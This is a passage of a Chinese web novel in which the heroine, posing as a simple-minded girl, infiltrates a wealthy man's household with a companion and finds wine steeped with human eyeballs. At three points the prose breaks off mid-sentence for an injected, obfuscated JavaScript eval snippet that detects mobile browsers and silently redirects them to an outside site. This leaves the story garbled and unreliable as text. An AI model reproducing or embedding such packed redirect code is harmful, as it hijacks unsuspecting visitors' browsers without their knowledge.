数落的话一出,骆岢也生气起来。 “娘子如此说,还是弃了岢,另寻合适之人!本也非万全之策,不过念在至交好友之情,拿性命冒险!娘子不满意便算了!” 已然兴师动众出发,就这么回去,如果被金无尽察觉,如果白明旭改变主意不想再为此事冒险,她要如何为母亲报仇? “你别生气。”蒋芙灰着脸劝他,“我想了一个办法,能掩饰过去。” 骆岢自知被逼失态,余光瞥过没见过他这一面的张闵,见他并无异色,心才定了定:“……娘子请讲。” “我来咬你,把你喉结的地方咬烂。”蒋芙补充,“很有分寸的咬烂,看起来血肉模糊,但不会咬你的血管,就是青色的那个脉络,是血管。” 骆岢沉默。 他想了一下,的确没有其他解决办法。他应了白明旭,半路回去便是失信,天下人看到他失信,此后便再无声誉,不如一头撞死在这。 但男女授受不亲。 蒋芙肩膀撞了下围观的张闵,是交托全部信任、亲密无间的动作:“如果你不想被我碰,就让他来!” 骆岢在张闵的眼中看到和他如出一辙的抗拒。 蒋芙又退了一步,用商量的语气:“你信不过我们,还有车夫,回去找白明旭也行。” 谁都不行! 这种事,谁都不行! 别人知道了要怎么看他! 想来想去,似乎只有蒋芙适宜。 不管是被搜查时核对齿痕,还是造伤时的用齿力度,心态方面,此时此刻,没有比蒋芙更妥当的人选。 骆岢忽觉疲惫。 这些日子,无论什么事,但凡遇到蒋芙,都会将他卷进一个陌生的漩涡。此前他从未感到如此难办过。 内心挣扎许久,他僵硬道:“劳烦蒋娘子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282520|151900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 蒋芙有点惊讶他选自己咬,转头想通。不认识的人,他怕别人爱上他,认识的人,他怕别人笑话他,只有她,他习惯了,也在几次交锋中意识到她没什么杀伤力,除了气人一点。 既然想通,她干脆起身,弯腰凑近。为了办案,他都甘心奉献自己,她迟疑什么。 张闵拔剑:“我可以在他的皮上刻出齿痕。” 蒋芙回头:“开什么玩笑,你连小人都不会画。” 张闵道:“我已经会了。” “一边凉快去。” “……” 他眼含敌意看向骆岢,两人视线在空中相撞,都没有移开。 骆岢莫名烦闷。 她原来会好好说话,为什么对他就不行? 喉咙外忽然传来剧烈痛感。 伴随着痛感的,是女孩子温热的鼻息,与柔软嘴唇的触感。 她的牙齿整齐一排,咬在他的皮肤上,中间似有滑嫩的什么触碰到皮肤,疼痛之余传至胸口发痒。 骆岢咬住唇,隐忍呼吸。被无好感女子触碰的抗拒,与身体最原始接触的反应交汇,和痛感交织,让他头脑有些发晕。 蒋芙专注咬一个皮外伤,没有管他什么反应。 马车颠簸,她不小心坐到他的腿上,空悬的腰得以放松。察觉到更省力的姿势,蒋芙就没再矜持恢复回去。 破皮尖锐的痛感让骆岢下意识抓住手边的什么,反应过来,已经不自觉搂住蒋芙的腰。这是他第一次与女子这般姿势,心中震撼。 对座的张闵阴沉看他,身侧的剑仿佛下一刻就要用在他身上。 蒋芙厌恶他,如今却抱着他,亲吻他。 蒋芙喜欢张闵,他们两情相悦,一起长大,可他只能坐在对面,亲眼看到不相关的他在承受蒋芙的亲昵。 骆岢感到荒谬。荒谬之余,有种说不清道不明,他自己绝不愿意承认的优越感。 蒋芙咬得满嘴血,往后退几寸打量伤口,被她咬的地方已成一派血肉模糊之景。 骆岢虚弱转头到一旁,不想与她说一句话。他将手帕系到伤口上去,任由血迹透过来。 蒋芙吐干净嘴里的血,往张闵身上一靠:“累了。” 骆岢倏地把头转回来,盯她。 蒋芙懒得揣测他的心理,她现在身心俱疲,还是趁早修养,毕竟等下要徒步进城。 后半程路,蒋芙低声和张闵说小话,事成以后去光州,她准备把母亲骨灰葬在家里。她从孝服说到陪葬品,第一次经历这些事,又事事都要自己张罗。 行到繁茂的洛山脚下,蒋芙与骆岢下了马车,张闵隐入暗中。 两人看着车夫驾马车离去。 骆岢忍受着颈部丝丝的疼痛,问:“你那家仆,确定不是谁的暗卫?” 蒋芙扯过他的手,将他硬邦邦的手展开,和她握在一起:“放心,我和他从小认识,如果他真是暗卫,那也是我的,不会对你有什么威胁。” 骆岢淡淡笑了一下,不置可否。手与手连接处,酥麻的热意蒸腾着爬上耳根。 18. 第 18 章 “听南姐?” 沈听南无神的眸子一晃,点点亮光从湖面折了进去。 “听南姐,你怎么不动了,你也忘了这盏灯要怎么打开吗?” 骆沁伸手小心碰了那座楼船样式的灯,做工精致,点点面面都是比对真实楼船所造,船顶放灯盏,晚上点亮能放在水面上泊。 这是文王找宫中巧匠所造。上次见面时,他一共给她带了许多新巧的东西。她不知他要来,送去那封信时,也只是抱着至少能替蒋芙收尸的念头寄出去的。信从洛城到长安,快马加鞭也得要两天,信送到以后,还要等文王筹划出行,她以为他来了也不会有太大的用处,没想到,他在机缘巧合之下,真的救了蒋芙。 更让她想不到的是,骆岢会出手帮忙。原来蒋芙和公女的关系已经深厚到了那个地步…… 沈听南拨动机关,将灯盏露到表面。 骆沁星眸晶亮,小手兴冲冲拍在一起:“精妙!精妙!” “晚上放在水上,该有多漂亮呀。” 沈听南望着天真的公女,心想,世人都有趋逐美好的本心,骆沁与蒋芙性情迥异,本色相同,也许彼此之间天然相吸,这种默契是她费尽心机也强求不来的。 “沁儿可有芙芙的消息?” 骆沁抬头:“我听哥哥说,芙姐要去舅舅家。” 她有些失落,卷翘的睫毛垂下:“明明芙姐没做错任何事,但是我爹和哥哥就是不同意我们继续在一起,连道别都不许,我好生气的!这几天都不理他们!” 舅舅家。 蒋芙的母亲袁氏娘家在光州,沈听南幼时听过她与自家母亲闲聊光州旧事。 “从洛城到光州,走路要十多日才到,也不知芙芙如今到哪了。” 骆沁眨了眨眼:“只要走十多天就能到吗?” - 金府。 新任管家满银指挥下人清扫季院。 季院姨夫人死了,呕血而亡。 不知内情的杨舟想到坊间流言,洒扫动作越来越迟缓,脸色灰白。 蒋家的事以后,外面都在说,金府的金员外是精怪化的人,每年都要吃一位妙龄少女来保住化形。 她原本以为是百姓编排的假话,没想到这一天真的来了。 就在前一天,她作为丫鬟还侍奉过季院的姨夫人,那夫人农家出身,没有架子,对下人很好。 可转眼间人就没了。 她好害怕,想逃,但卖身契还在金府,离开就是逃奴,抓住以后要被当街打死示众。 小厮附耳满银道:“大人,季院空了,备选的人没找到怎么办?” “不能断,加大筹码去找。” 另一人匆匆走来。“大人,府外有一对姐妹从长安讨债来这里,听说金无尽好色之名,来自荐保命。” 满银眯了下眼:“这么巧?” 小厮道:“我查过她们的文书,都是全的,也问过咱们的人,这姐妹俩的确是自己走来的,没和其他人说过话。” “她二人有何形貌特征,你详细与我说说。” “姐姐身量高挑,姿容甚美,妹妹平庸些,矮小些,应该不是一个娘生的。而且这妹妹是个傻子。她们的衣裳还是五年之前流行的料子。” “好了,带我去看看。” 满银与后来的小厮大步经过,旁经婢女瑟缩发抖,扫把在手里当成了防身的武器。 满银叮嘱:“告诉外面的,别让流言传下去了。这样下去,过于引人注目,不成。” “是。” 满银步行到前厅,见到那对逃难的姐妹。 姐姐的确是难得一遇的美人,一眼看过去有些眼熟,想不起像谁,或许美人大多相似。 妹妹眼神呆滞吃拿出来招待她们的点心,吃得满衣襟都是碎渣。 他来了,姐姐便站起来,红着眼圈行礼。 ……女子这般,着实是高了些。怪不得没听说过她这号美人。 “求大人收留……” 说着,便要给他跪下。妹妹挑起眼皮看她,嘴上不停。 满银扶她:“不必如此,娘子且说有何难处。” 姐姐便说:“我叫祝安,妹妹叫阿宁,我们是从长安逃难来的。爹爹好赌,将家产都堵了进去,娘和哥哥提前逃没带我们,我们好容易从那些讨债的手里逃出来,再也不敢在长安待,就来了洛城。我们两个弱女子,妹妹又这般,到哪都不为人所容,听说金大人……听说金大人喜好年轻女子,我斗胆来应,还请大人救命!阿宁是无辜的,她什么都不懂!” 满银视线落在她脖颈处围着的手帕,上面有一层殷红的血痕。 “娘子受伤了?” 祝安下意识捂了脖子。 满银眼中闪过精光,给旁边小厮一个眼神,小厮便上前将祝安的手帕硬拆下来。 祝安起先还拦,触碰到满银警惕的眼神,不敢再拦。 手帕之后,是齿痕遍布,血肉模糊的惨状,伤口已经往外翻了死肉。 她解释道:“我妹妹她是太饿了,才会咬人!她只敢咬我,别人谁都不敢咬的!大人……” 满银道:“饿了就吃饭,吃人是什么道理?” 祝安擦眼泪,美人一举一动柔美中带着坚毅,让人沉迷在她的言语里。 “我们没有吃的……一路除了能吃的果子和草,我们没吃过东西。” 怪不得妹妹一直在吃。 满银道:“来人,给小娘子拿壶茶水来。” 他语气温和一些:“娘子也不用哭了,你是有福之相,等阿郎从外面回来,我便把你引荐过去。” “多谢……大人。” 祝安深深一拜。 满银走后,陆续又上了些吃食。祝安拿衣袖给妹妹阿宁擦嘴,拍掉她前襟的糕点渣。 “阿宁,少吃些,吃太多会肚子痛。” “阿宁还饿。” 祝安低头看了看妹妹的肚子:“已经圆滚滚了,阿宁吃撑了,好吃也不要吃这么多啊。” “肚子疼,饿。” “肚子疼?是不是吃太多了?”祝安又流了些泪,“我的阿宁,一定是饿坏了,都分不清饱还是饿,你怎么这么可怜……” 屋外暗中观察的小厮将窗的缝隙合上,到回廊转角处向满银汇报:“大人,没有可疑之处。” 满银点头:“既然没有可疑之处,现在就安排吧。这件事来的巧,不知为何,我心里总不踏实。” 小厮恭维:“大人深谋远虑,处处做长远打算,我等都仰仗大人照拂。” 满银扯了扯唇角,见姐妹里的傻妹妹跑出来了。 “快去看看。” 小厮立马跑了过去:“小娘子,是有什么缺的?” “我要茅房!如厕!抱歉!如厕!” 小厮见她着急,也跟着紧迫起来:“就在这边,娘子随我来!” 蒋芙进了金府茅房,四处看了看,没什么可疑的地方。 她松了口气,揉捏自己的脸。 方才强吃了不少东西,她快要支撑不住,这才借上厕所的名义出来缓缓,顺便勘探一下金府的布局环境。 方才出来的路上经过一个石头围的水池,后面成片的树,如果查东西被抓包,倒是可以临时跑进去藏起来。 那种地方,也很适合张闵藏,说不定他就在那片林子里守着她。 她把衣服的系带解开又系成一团,在腰间乱糟糟垂着,没有一丝稳固的作用,还好她穿的不是齐胸襦裙,不然容易走光丢脸。 蒋芙出了茅房,见小厮在几步远的地方守着,心里有些庆幸自己一声不符合人设的声音都没发出。 但她还是遗忘了一点。 小厮冷不丁道:“娘子没有如厕吗?” 他与茅房站得不远,理应能听到如厕的声音。寻常男子的分寸感不必给一个傻子,但这傻子若不是傻子…… 蒋芙进入状态,演道:“没拉出来,很用力也拉不出来。” 她苦恼地偏了偏头,手揉着腰带垂松之后的腹部。 “我再吃些,能拉出来吗?” “……”小厮嫌弃地往旁边挪了一步,“娘子试试。” “好。吃好吃的吗?” 小厮没理她。 蒋芙被吓出一背冷汗。 金无尽的小厮都是什么人!洛县衙门里的捕头都没有他这么敏锐。 回了前厅,骆岢还在演戏状态,拿着茶盏悲春伤秋。 他做得很好,非常好,滴水不漏。这是只有平时习惯弄虚作假的人才有的业务能力,骆岢和沈听南这种人做细作,一定如鱼得水,创造一番伟业。 “姐姐!我没拉出来!” 蒋芙蹲到骆岢身前,握他的手。 “阿宁,不许说这种粗俗的话。”他借着训导,将手自然地抽出来,放到一旁的桌案上。 蒋芙去茅房没洗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282521|151900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手碰他。 女孩子怎么能做成她这样。 “……”蒋芙被他教训,思考怎样更符合傻子身份。 “不是我说的,是那个哥哥教我说的,姐姐别骂我!” 她这栽赃理直气壮,小厮愣了一下,迎到骆岢诧异疑惑的眼神,心“砰”的一下开始解释:“我没有,是这个小娘子自己想出来的,说了一路!娘子明鉴!” 骆岢转回头来:“你还撒谎,跟谁学的撒谎?” 他指尖才要捏她的脸,便见她往小厮身后躲。 小厮在他为难尴尬的眼神里自觉退出去了。 骆岢到底还是掐到蒋芙的脸,被蒋芙抱住。 “不要打阿宁,姐姐!” 假胸隔在两人之间,蒋芙小心留出空隙,担心把它碰掉。 “这的人都不简单,不像是寻常陪着做坏事的百姓。” “嗯。你小心。” “你也小心。” 金无尽得了满银的消息从外面回来,进前厅便看见姐妹两人抱在一起。 弱柳扶风的两个女子,姿容年轻,都惹人怜爱。 在上了年纪的人眼里看不出什么美丑,只要年轻就是美的。 满银咳了声,姐妹两个才分开,蒋芙懵懂坐在地上,看着骆岢去行礼问候。 金员外听了来龙去脉,感慨道:“被如此劣等之人选做女儿,你们也是命苦。” “你听说了外面的风声,明知我府中疑云重重,带着不懂人事的妹妹就来了,你是怎么想的呢?” “只要能活……” “我府中妾室的下场,应该也传明白了。” 骆岢立刻修改措辞:“妹妹能活,就可以。她是最无辜的人,家里好的时候,就没受过什么好待遇,如今家没了,苦却要她一起吃。” 金无尽眼中有了怜悯。 “好,那你便住进季院,当我的姨夫人吧。” “我妹妹……” “你妹妹也跟着一起,你放心,在我这里,一定让你妹妹活得好好的。” “多谢大人,我得偿所愿,就算是死也无憾了。” 季院。 蒋芙在心中琢磨是哪两个字,总不可能是那个“妓院”。 这个金员外和她想象中的人很不相同,胖是胖的,但肥而不腻,看着通情达理。 蒋芙越来越觉得她家散落到如今这个境地是蒋父自己的原因。贪婪是他,无情也是他。但金员外也不无辜,没有他,就没有之后那些事。 很奇怪,金员外不好色。 他看到盛装打扮的骆岢,眼中波动还没有那个管家大。 他不好色,却要一直纳妾,纳年轻女子为妾。 他刚刚甚至快要坦明,做他的妾室注定一死。 这些妾室死的用意在哪?总不会无缘无故。 不是因为男女之色,就是因为其他不明意义的事。 是什么?贪污钱财还是意图谋反? 这要怎么查? 一位叫杨舟的婢女带她们去季院。 她眼神躲闪,与之前训练有素的小厮不同,蒋芙可以确定金无尽势力已经暂时对她们放松警惕,不然不会派这么一个人来。 “这边是东厢房,给姨夫人住的地方。” 骆岢鼻尖微动,闻到腥味。 杨舟留步在门外,没有进去伺候,脸色不好看,人也心不在焉。 “走过这条廊,尽头是西厢房,给姨夫人的妹妹住。” “有什么吩咐,姨夫人可以叫我。” 骆岢看出此女在恐惧,猜测原因。 杨舟说完话,就跑了出去,仿佛这间房里有妖怪,跑得越远越安全。 他站起身,松了头发,做困顿状走到门边,将门合上。 “阿宁,来姐姐这边睡一会儿。” 蒋芙和骆岢对视一眼,往床榻上一趟,把鞋甩到衣柜上面。 骆岢一言不发捡回来,放到床脚,像是真的姐姐一样。 他也躺到床上,小声道:“那个婢女不太对劲,金府戒备森严,不可贸然动手,你先去套她的话。” 蒋芙快要贴在他耳朵上:“我是傻子,我怎么套话?” “你直说便是,有什么奇怪的地方直接问,你是傻子,不会有人怀疑你。” 骆岢道:“不仅如此,他们还会因为你问对了东西,敞开心扉。你记住他们说的话,回来完完整整告诉我。” 19. 第 19 章 打定要去杨舟那里套话的主意,蒋芙用脚勾起床尾的被子,搅散盖在身上。 骆岢眼神疑惑:“你不去了?” 蒋芙道:“刚刚还跟人家装困,我现在溜达出去多可疑,像是故意问人家东西似的。” 骆岢沉了沉眉。的确,是有些刻意。更不用说眼下蒋芙扮演的是个傻子,傻子不会殷勤问人问题。 既然一时半会动不了,他往床边挪了挪,与蒋芙之间空出距离。 蒋芙真的困倦了,没嘲讽他什么“守身如玉”的废话,背过身去合眼休息。哪怕睡不着,闭目养神也好,省得之后遇到麻烦连逃命都没力气。 她在宽敞的床榻里盖着被子,渐渐缩成一个瘦瘦小小的鼓包。 骆岢望着,片刻收回神思,忽略不掉鼻息间萦绕的腥味。 他坐起身,仔细辨认,闻出腥里混杂着酒气。 他打量整个季院寝居,陈设谈不上品味,却很有用度。俗虽俗些,不乏金贵的物品,墙上的字画都是古贤人真迹,小物件也出自名家之手。 骆岢下床,探寻酒气来源何处。 他步入书斋,视线定在书柜上方缠枝牡丹纹的梅瓶,步履轻而快地朝梅瓶走去,不留神挂碰到书案上的笔架,好在反应及时,几支干枯刺毛的笔摇摇晃晃,终未落地。 梅瓶的盖子打开,腥臭味浓郁极致,拿到光线明亮处看,瓶底落了许多圆滚滚类似葡萄形状的杂质,酒液并不澄澈,其间悬浮着许多红色细丝。 骆岢可以确定,他来到这里便闻到的腥味便来源于此。 没有犹豫,他从茶盘上拿了一个杯子,将梅瓶中的酒浆倾倒出来。 倒到第二杯时,才动了瓶底的那些球状物。东西顺着水流咕咚落入杯中,溅起一圈暗色水花。 水波静止,在最后一缕能够照明的日光下,骆岢确认了这瓶酒里的东西是什么。 那是人的眼球。 只有人的会这么大。不,根据体量,牛马应该也差不多大,但无论是直觉,还是对同类的熟悉度,他都可以判定,这就是人的眼球。 骆岢忍耐恶心的干呕,冷静数它们的数量。 一共有十二颗。 六个人,或者更多。眼下无法确定这些眼睛是不是从死去的年轻女子身上剜的。如果不是,金府便又牵扯了其他命案。 骆岢用衣袖捂鼻子,将液体都收拾了回去,杯具则往卧房带,倒乌梅浆掩饰。 床榻之上,蒋芙熟睡,呼吸均匀,脸朝着外侧。 她睡时比醒着乖巧。 - 蒋芙一觉睡醒,天已经大黑下去。 月光照着窗纸,雪白里颤动着夜风。 她白天硬吃了点心,胃吃得不舒服,此刻倒也不饿。只是身在险境,浑身紧张,即使睡梦中也没有松懈,落到现在便是浑身乏力。 不见骆岢的影子,蒋芙穿鞋喊姐姐。 “在这,阿宁。” 他又捏细了嗓子,像女子一般说话,应是有外人在。 蒋芙警惕一些,朝声音的方向走去。 “姐姐!” 她扑到骆岢身上,用力抱住,借他身躯的掩饰左右打量,观察是什么人在。 书斋里有五个丫鬟,其中有他们准备套话的杨舟。杨舟神情仍怔忪,却比上午刚见到时好了一些。 骆岢摸摸她的后脑勺,柔声道:“姐姐在这里。别怕,阿宁,我们在金府,我们以后都是好日子了,没有人会再欺负你。” 蒋芙自然装听不懂,一个劲喊:“姐姐,姐姐,姐姐……” 丫鬟缄默整理书斋卫生,鸡毛掸子扫灰,擦过书架上层的那只梅瓶。 骆岢牵着蒋芙的手,两人往外走:“阿宁饿不饿?姐姐给你留了饭,在盒子里……” 杨舟撒了手里的抹布,忙道:“姨夫人莫要委屈了小娘子,厨房里还有新的饭,我这就给你们再上一份!” 卧房和书斋一样静悄悄的。 骆岢与蒋芙坐在梳妆镜前,姐姐为痴傻的妹妹拆松乱的头发。 “你睡着时,我去看过,书斋里有用人眼泡的酒。” 蒋芙眼皮一顿,耷拉下去:“那我们的床底下不会有尸体吧?” 骆岢道:“不会。我发现以后把这个院子都检查了一遍,并无异样。” “那吃的呢?我们不会吃的是人吧?” “怎么可能。” “怎么不可能?说不定是用人养人,养疯了接着变肉材……” 蒋芙脸色很不好,她觉得比起谋杀,这种折磨人的方法更让人胆寒恶心。 不管怎么样,自己都已经进入了这个漩涡里。这是她的选择,她娘因老登和金员外而死。 老登死了,金无尽是她最后一个仇人。 袖子盖住的手的部分,被骆岢按住。 他轻声道:“别怕,蒋娘子,还记得吗?有人在暗处保护我们。” “如果真的有你顾虑的那种事,当着他们的面算是人赃俱获了,省去了你我调查的力气。” 温度隔着布料缓缓渗透过来。 蒋芙回头看他,也许是烛光,或者是别的什么,她、她用力眨眼摇头,将脑海里奇怪的想法都甩出去,眸光重新坚定。 “我明白,多谢。” 杨舟在门外:“姨夫人,我把饭菜端来了。” “进来。” 将饭菜与餐具摆放好,杨舟很避讳地退了出去,仿佛职责之外,她不想与祝安祝宁两姐妹产生任何关联。 骆岢对着形色匆匆的背影沉思。蒋芙将两扇门关紧,切断他的视线。 对上目光,她解释:“我要好好吃个饭,开门怕被人看见。” 骆岢语气柔和:“蒋娘子用膳有什么见不得人的地方吗?” 蒋芙哼声用力在桌上对齐筷子:“有啊,我吃饭很聪明,怕装不了傻子。” 说完便夹了一大口煎蛋进去。 肉类暂且没摆脱嫌疑,不想影响胃口的话,还是吃些看得见原材料的食物。 将饱未饱,蒋芙用餐终止。 骆岢递了帕子,她接在手里,没用上嘴。 “……我不曾用过。” 蒋芙翻白眼:“我知道,我没嫌弃你,也没怀疑你,不然你递不到我手里!” 骆岢浅淡一笑。 她夹了一块肉,凑近烛灯正反面看:“好像是普通猪肉的纹理。” “嗯……这肉没问题,吃着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14282522|151900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也是猪肉味。那眼珠子酒可能不是酿给咱们喝的。” 骆岢用手撑脸,倦倦瞧她。 他也奔波一天,静时困乏便上来了。 “娘子竟品鉴得出吗?” 蒋芙骄傲道:“能啊,只要是我吃过的,我都能品出来是什么肉。就连鸡蛋鸭蛋鹅蛋的味道,煎熟了我都能分辨出来。” 她说这些话时眼神明亮,和平日里的她很不同。 他似乎又多认识了她一点。这一点,别人见过吗? 顺着她的兴致,骆岢问了那些肉蛋之间有何不同。蒋芙越说越来劲,顾忌着墙外有耳,凑得他很近。 他们之间是头一回这样融洽。 蒋芙说到了猪肉上,侃侃而谈。 “其实我们平日里吃到的猪肉都是阉割过的猪,中原以外的地方不阉猪,他们的猪肉就有种怪怪的味道,噫,我吃过一次,不能细想。” “阉割?” “嗯。我也是从别人那里听说的,猪要阉一下才好吃。像男人一样,只有把那东西割下去了,才能彻底老实,少做坏事。” 骆岢陡然清醒不少。他有些尴尬,也有些不满于蒋芙的话。 “猪与人怎能相提并论?” 蒋芙道:“如何不能。” 她顿了一下,笑了,充满恶意看他,像之前很多次那样。 “公子说得有理,的确不能。猪阉了,肉质会变好,男人阉了,还有变成变态的余地呢。像那些宫里的太监,自己残了就糟蹋身边的低等宫女,我看男人只有手脚也都砍了,才能老老实实作为人活着。” 骆岢脸色黑了下去,错开头。 “不是所有人都那样的。” 他自己也觉得这话没力度,又道,“娘子若是那样做,便与金无尽无异,也罪大恶极了。” 蒋芙面无表情用他递来的手帕擦嘴:“蠢货。你以为我真的会那么做吗?我过过嘴瘾气你罢了。要是我真有那个胆量和本事,我就直接提刀杀人去了,何必在这里装模作样。” “……”骆岢神色些微松动,仍道:“并非所有男子都像你说的那般不堪。” “我……白郎便帮过你,听你说那样的话,会寒心。” 蒋芙笑了。 骆岢绷起脸:“娘子笑什么?” “你这么害怕?” “不是害怕,是……” “放心好了,我不割你。” “我没害怕。” “不割你,不割白将军,不割张闵,好人我都不割,我往后要是有那个能力,只割坏人。我做一个割丁怪盗,专门割色中饿鬼或者狗仗人势的命根子,割完挂在城墙上,有风来就像一排萝卜干,忽闪闪的。” “……有伤风化。” 蒋芙倾斜身子,绕着看他表情。 “呀,公子笑了?公子不是应该两股战战害怕吗?往后我可是要让男人闻风丧胆啊。” 骆岢轻笑出声。 蒋芙正经道:“公子,你这样笑很好看。” 骆岢的笑停滞,神色不动,心头似有敲击,震木感遍及全身,转化为滚烫的热意。 他愣愣看她眼睛。 蒋芙语重心长:“以后少装,前途无量。” 20. 第 20 章 天蒙蒙亮,金府通铺的丫鬟们就已经穿戴整齐上了岗。 杨舟的脸又肿了一圈,还算清秀的脸如今死气沉沉,话也比以前少了很多。 她前脚抱着木盆出去,后边一同做事的丫鬟便凑在一起絮絮叨叨。 “她怎么了?” “季院才死了姨夫人,她估计是撞邪了。” “哎,多大的事,她就是看得太少了。死的是姨夫人,又不是我们这些手底下做事的,她怕个什么劲。” “我看也是,她一直这样下去,惹满银大人生气,被赶出府去才叫真的可怕呢。” …… 杨舟并不在乎别人如何议论她。金府后宅有四院,伯、仲、叔、季。员外金无尽发妻早逝,府内女眷唯有不停更换的姨夫人,郎君们都在前院养着。 她神游着走到季院门口,灰暗处猛然窜出一个人影将她扑住,吓得她扔了手里活计,挣扎着惨叫出声。 做工的女子手劲儿非同一般的大,蒋芙被她又推又打,险些招架不住,咬着牙忍下挂在她身上。 “我饿!吃的!我要吃的!” 听到她的话,杨舟惊出躯壳的魂魄归体,双腿软绵绵得快站不住。 “是宁娘子……宁娘子松手罢,你可吓坏我了。” 蒋芙不松:“你给我饭吃吗?” 杨舟点头,反应过来她看不到,出声应和:“给,娘子松开我,我带你去厨房,给你找些吃的顶顶肚子。” 蒋芙松开她,转而拉着她的手,跟着一起往厨房走。 杨舟找了一些隔夜的糕点,摆盘放到蒋芙面前:“娘子吃着,我来烧水给你煮茶喝。” 她背过身去拾掇柴火,蒋芙看着那碟糕点,不太情愿地往嘴里塞。她半点不饿,也不想吃东西,却不得不装作吃得很香的样子。 她以前郁闷时觉得当傻子很幸福,每天只顾着吃喝拉撒,一点烦恼都不用操心。现在看来也不尽然,除了吃东西,骗人都找不到其他借口。 她吃得实在不舒服,“呕”了一声。 这一下过去,口中急速分泌酸液,她捂嘴想忍,余光看见存放脏水的木桶,再也忍不住,把这几天吃的东西一股脑都吐了出来。 杨舟丝毫不嫌脏地拍蒋芙的背,担忧道:“娘子怎样了?我去让人给你叫大夫!” 蒋芙没给她这个机会,直接开演:“……姐姐……呜啊……” 杨舟忙前忙后,又给她喂水,又去用灰把地上的呕吐物收拾了。 蒋芙心里愧疚,又不好违背人设自己收拾。索性把一切抛到脑后,继续她的计划。 “啊啊!!”她尖叫着跑到杨舟身后,浑身颤抖地看着虚无。 “姐姐!救命!” 杨舟放下手里的扫帚,虽不明白发生什么,但把蒋芙护在身后:“宁娘子?” 蒋芙哭喊道:“没有眼睛!姐姐!他们没有眼睛!” 她抱着杨舟的腰,清晰地感到她身体在听到“没有眼睛”这个关键词后僵硬了。 “娘子胡说什么呢?是什么……什么没有眼睛?” “啊!!血!血洞!好吓人!姐姐救命!姐姐把他们赶走!” 杨舟被戳中心事,恐惧至极,一步步往后退:“是什么?” 她低声喃喃:“别过来,不是我害的。” 撞倒了灶台上的碗碟,瓷器哗啦啦碎了一地。 “不是我害的,找我做什么。” 蒋芙早看出她精神不正常,拐一下就上道。 她接着制造气氛:“啊啊!别抓我!疼!我不救!不救你!” “血!都是血!” 蒋芙一副被严重纠缠的样子,杨舟眼神狠了狠,干脆将她推出去,转身从敞开的门逃了。 蒋芙猝不及防被推了一下,两手扑到地上的瓷片,抬起来看手掌深深浅浅的口子。 心中暗恨演过头了,火辣的疼痛令她情不自禁往下淌泪。 杨舟去而复返,拿了锄头回来。 见蒋芙坐在地上盯着手哭,锄头下落了地。 她弱弱叫:“宁娘子?是你吗?” 害怕的何止杨舟一人,蒋芙也吓了一跳。 她快速构思傻子受伤会是什么表现,后知后觉反应过来杨舟在问什么。 她问,是祝宁吗。 也就是说,她以为蒋芙被什么上了身。 天赐良机,如果她把握得住的话。 “呵呵……”蒋芙用剩下的眼泪疯癫笑了一下。 “第二次了。” 杨舟扑腾跪下,满脸惊恐磕头。 “小绿,饶了我吧,饶了我吧!我真的想救你的!我真的想!” 蒋芙斟酌道:“可你不还是没救吗?” 杨舟哭得鼻涕进了嘴:“我去求了满大人,他说你不死就要我死,我不敢死啊……” “你原谅我,原谅我,我没有别的办法,你是我最重要的人,我没有亲人,只有你,我但凡能救你我肯定会救的!可是让我用命去换,我不敢……” “当初、当初也是你自己要去做姨夫人的!我们都做奴才的话,不就都能活下来了?是你自己选的,你死了也怨不了我!你凭什么怨我?别怨我!别怨我!” 说着,她朝蒋芙冲过来,捏紧她的脖子,似乎想趁那个“小绿”有躯体时再杀一次。 杨舟用了致命的力气,蒋芙濒临窒息,竭尽全力在脸上换了天真的表情:“姐、姐……” 不住渗血的手掌拍她的手:“姐……” 杨舟猛地松手,后退,又冲过来摇晃她:“宁娘子,宁娘子?” 蒋芙透过气,恢复呼吸。鼻酸,肺部往上涌起血腥,她眨掉眼里的泪水,一把将她推开,一路跑一路哭。 天色大明,院子里的丫鬟们也来当值了。 见蒋芙哭着跑,都诧异盯她,因她是傻子,周遭又无人,便没人上前照看。 “姐姐!” 她一把推开东厢房的门,骆岢正在梳头,回头看她一身狼狈的样子,有些震撼。 “你……” 蒋芙扑到她身上便哇哇哭。 当值的丫鬟们当着骆岢的面才来对蒋芙嘘寒问暖。 但一个傻子怎么会告状,她只是哭。 骆岢扮演温柔姐姐拍她的背,哄着她说为什么哭。 蒋芙将手给他看:“疼……疼!” 骆岢看了一眼,目光骤然锐利几分。 “这是怎么弄的?” 蒋芙手掌大大小小的伤口,深处皮肉外翻,浅的地方也出了血。 就算不演这出戏,她也要哭的。 丫鬟们匆忙去为蒋芙叫大夫,另有一些找水来把她手上的灰尘小心翼翼擦干净。 大夫很快来了。 蒋芙从小与张闵一起,很擅长分辨习武之人的脚步。 